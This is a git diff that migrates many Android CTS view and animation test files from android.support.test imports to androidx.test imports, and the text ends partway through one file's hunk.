diff --git a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
index 57e050c..7ca0bc4 100644
--- a/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LayoutAnimationController_AnimationParametersTest.java
@@ -16,10 +16,11 @@
package android.view.animation.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.LayoutAnimationController;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
index ddd1be4..15590c6 100644
--- a/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/LinearInterpolatorTest.java
@@ -22,10 +22,6 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.animation.AlphaAnimation;
import android.view.animation.Animation;
@@ -35,6 +31,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
index e7961d5..05aca63 100644
--- a/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/RotateAnimationTest.java
@@ -25,10 +25,6 @@
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
import android.graphics.Matrix;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +34,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
index c14d151..8aed31e 100644
--- a/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/ScaleAnimationTest.java
@@ -24,10 +24,6 @@
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
import android.graphics.Matrix;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -36,6 +32,11 @@
import android.view.animation.Transformation;
import android.view.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
index 0c9e45f..f19d9f9 100644
--- a/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TransformationTest.java
@@ -22,10 +22,11 @@
import static org.junit.Assert.assertNotSame;
import android.graphics.Matrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.Transformation;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
index ee8b187..e7cd3eb 100644
--- a/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/TranslateAnimationTest.java
@@ -16,7 +16,7 @@
package android.view.animation.cts;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -26,9 +26,6 @@
import android.app.Instrumentation;
import android.content.res.XmlResourceParser;
import android.graphics.Matrix;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -38,6 +35,10 @@
import android.view.animation.TranslateAnimation;
import android.view.cts.R;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
index 12bba10..b961af0 100644
--- a/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/AbsSavedStateTest.java
@@ -28,10 +28,11 @@
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.AbsSavedState;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
index 95b1929..d1ed51b 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeCallback2Test.java
@@ -20,14 +20,15 @@
import android.content.Context;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ActionMode;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ActionModeTest.java b/tests/tests/view/src/android/view/cts/ActionModeTest.java
index e28173d..ddb998d 100644
--- a/tests/tests/view/src/android/view/cts/ActionModeTest.java
+++ b/tests/tests/view/src/android/view/cts/ActionModeTest.java
@@ -32,15 +32,16 @@
import android.app.Instrumentation;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ActionMode;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 145436b..d4a6097 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -18,11 +18,11 @@
import static org.junit.Assert.fail;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index a232b51..b156d60 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -26,11 +26,12 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Choreographer;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
index 72c89df..b02dee8 100644
--- a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
+++ b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
@@ -25,15 +25,16 @@
import android.app.Instrumentation;
import android.content.pm.PackageManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewParent;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
index 2e1b929..d05587b 100644
--- a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
+++ b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
@@ -26,11 +26,12 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ContextThemeWrapper;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
index 19aec78..618ca21 100644
--- a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
+++ b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
@@ -20,13 +20,14 @@
import android.content.Context;
import android.os.SystemClock;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.Display;
import android.view.WindowManager;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index d53d8c3..c2c5731 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -28,15 +28,16 @@
import android.os.Parcel;
import android.os.Parcelable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.DragEvent;
import android.view.InputDevice;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 465b218..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -22,10 +22,6 @@
import static org.junit.Assert.assertTrue;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.FocusFinder;
import android.view.LayoutInflater;
import android.view.View;
@@ -33,6 +29,11 @@
import android.widget.Button;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index fbac60f..1d741aa 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -25,14 +25,15 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.FrameMetrics;
import android.view.Window;
import android.widget.ScrollView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
index a9eb7b4..9a1e56b 100644
--- a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
@@ -26,14 +26,15 @@
import android.os.Handler;
import android.os.Looper;
import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.GestureDetector;
import android.view.GestureDetector.SimpleOnGestureListener;
import android.view.MotionEvent;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/GravityTest.java b/tests/tests/view/src/android/view/cts/GravityTest.java
index ccd3921..875d3a7 100644
--- a/tests/tests/view/src/android/view/cts/GravityTest.java
+++ b/tests/tests/view/src/android/view/cts/GravityTest.java
@@ -21,11 +21,12 @@
import static org.junit.Assert.assertTrue;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.View;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/HoverTest.java b/tests/tests/view/src/android/view/cts/HoverTest.java
index d3734c8..036b525 100644
--- a/tests/tests/view/src/android/view/cts/HoverTest.java
+++ b/tests/tests/view/src/android/view/cts/HoverTest.java
@@ -30,14 +30,15 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
import com.android.compatibility.common.util.CtsMouseUtil.PositionMatcher;
diff --git a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
index 2251210..266e3b4 100644
--- a/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/InflateExceptionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InflateException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
index 9a960e2..c7f6591 100644
--- a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
+++ b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
@@ -21,11 +21,12 @@
import android.app.Instrumentation;
import android.hardware.input.InputManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
index 6207b9b..efdfd67 100644
--- a/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyCharacterMapTest.java
@@ -22,13 +22,14 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.KeyCharacterMap;
import android.view.KeyCharacterMap.KeyData;
import android.view.KeyEvent;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 598552b..24b2053 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -21,12 +21,13 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
@@ -36,7 +37,6 @@
import java.util.concurrent.TimeUnit;
-
/**
* Certain KeyEvents should never be delivered to apps. These keys are:
* KEYCODE_ASSIST
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index fde3f81..474301f 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -33,14 +33,15 @@
import android.os.Parcel;
import android.os.Parcelable;
import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.method.MetaKeyKeyListener;
import android.view.InputDevice;
import android.view.KeyCharacterMap;
import android.view.KeyCharacterMap.KeyData;
import android.view.KeyEvent;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import junit.framework.Assert;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index e8e764a..4ebfce6 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -21,12 +21,13 @@
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.KeyboardShortcutGroup;
import android.view.KeyboardShortcutInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
index b2e809d..3811b73 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutInfoTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertNotNull;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.KeyboardShortcutInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
index 3460525..48b79a6 100644
--- a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
@@ -31,9 +31,6 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.TypedValue;
import android.util.Xml;
@@ -48,6 +45,10 @@
import android.view.cts.util.XmlUtils;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 5ee9753..7b63e41 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -22,13 +22,14 @@
import android.app.UiAutomation;
import android.content.pm.PackageManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.ViewConfiguration;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
index bea5aba..fd3a105 100644
--- a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
@@ -27,10 +27,6 @@
import android.graphics.Bitmap;
import android.graphics.ImageDecoder;
import android.graphics.drawable.BitmapDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuInflater;
@@ -38,6 +34,11 @@
import android.view.SubMenu;
import android.widget.PopupMenu;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import junit.framework.Assert;
diff --git a/tests/tests/view/src/android/view/cts/MenuItemTest.java b/tests/tests/view/src/android/view/cts/MenuItemTest.java
index c9d362c..1b8ec0d 100644
--- a/tests/tests/view/src/android/view/cts/MenuItemTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuItemTest.java
@@ -24,14 +24,15 @@
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.graphics.PorterDuff;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Menu;
import android.view.MenuItem;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MenuTest.java b/tests/tests/view/src/android/view/cts/MenuTest.java
index 24af7bd..82ee2fe 100644
--- a/tests/tests/view/src/android/view/cts/MenuTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuTest.java
@@ -21,16 +21,17 @@
import static org.junit.Assert.assertTrue;
import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.widget.PopupMenu;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index f9b2e4f..70707d2 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -29,8 +29,6 @@
import android.os.Parcel;
import android.os.Parcelable;
import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.InputDevice;
import android.view.KeyEvent;
@@ -40,6 +38,9 @@
import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
import android.view.cts.MotionEventUtils.PointerPropertiesBuilder;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
index 1f3acbb..e39f1cb 100644
--- a/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
@@ -18,11 +18,12 @@
import static android.view.cts.MotionEventUtils.withCoords;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
index ac05c1c..e6b8b56 100644
--- a/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
@@ -18,10 +18,11 @@
import static android.view.cts.MotionEventUtils.withProperties;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
index c163440..f139632 100644
--- a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
@@ -21,11 +21,12 @@
import android.content.Context;
import android.hardware.Sensor;
import android.hardware.SensorManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.OrientationEventListener;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
index 696f034..b6c58d1 100644
--- a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
@@ -18,11 +18,12 @@
import android.content.Context;
import android.hardware.SensorManager;
